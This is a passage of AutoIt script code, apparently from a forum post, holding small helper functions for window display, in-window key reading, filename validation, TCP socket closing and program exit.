    Guisetstate (@SW_SHOW,$winhand1)
    Return $winhand1
    EndFunc
    Func Bitif($inputvar,$inputvar2)
    if $inputvar2 = BitAnd($inputvar,$inputvar2) then
    Return 1
    else
    Return 0
    Endif
    EndFunc
    Func ReadKey($hexkey,$dll1,$handle1)
    if _IsPressed($hexkey, $dll1) AND BitAnd(WinGetState($handle1),8) then
    Return 1
    else
    Return 0
    Endif
    EndFunc
    Func CheckLegalFilename($Name1)
    local $lengte = StringLen($Name1)
    If $lengte > 255 then Return 0
    local $regexp1 = '[^;\\/:*?"<>|]{'& $lengte &'}'
    Return StringRegExp($Name1,$regexp1)
    EndFunc

    Func Disconnect($socket1)
    TCPCloseSocket ($socket1)
    EndFunc

    [/autoit] [autoit][/autoit] [autoit]

    Func Exitme()
    DllClose($dll)
    TCPShutdown()
    exit
    EndFunc

    [/autoit] [autoit][/autoit] [autoit]

    Func Message($MESSAGE)
    MsgBox(64 + 262144, "", $MESSAGE, 3)
    Exit 0
    EndFunc ;==>Message

    [/autoit] [autoit][/autoit] [autoit]

    ;

    [/autoit]

    Edit Mega : Spoiler eingefügt.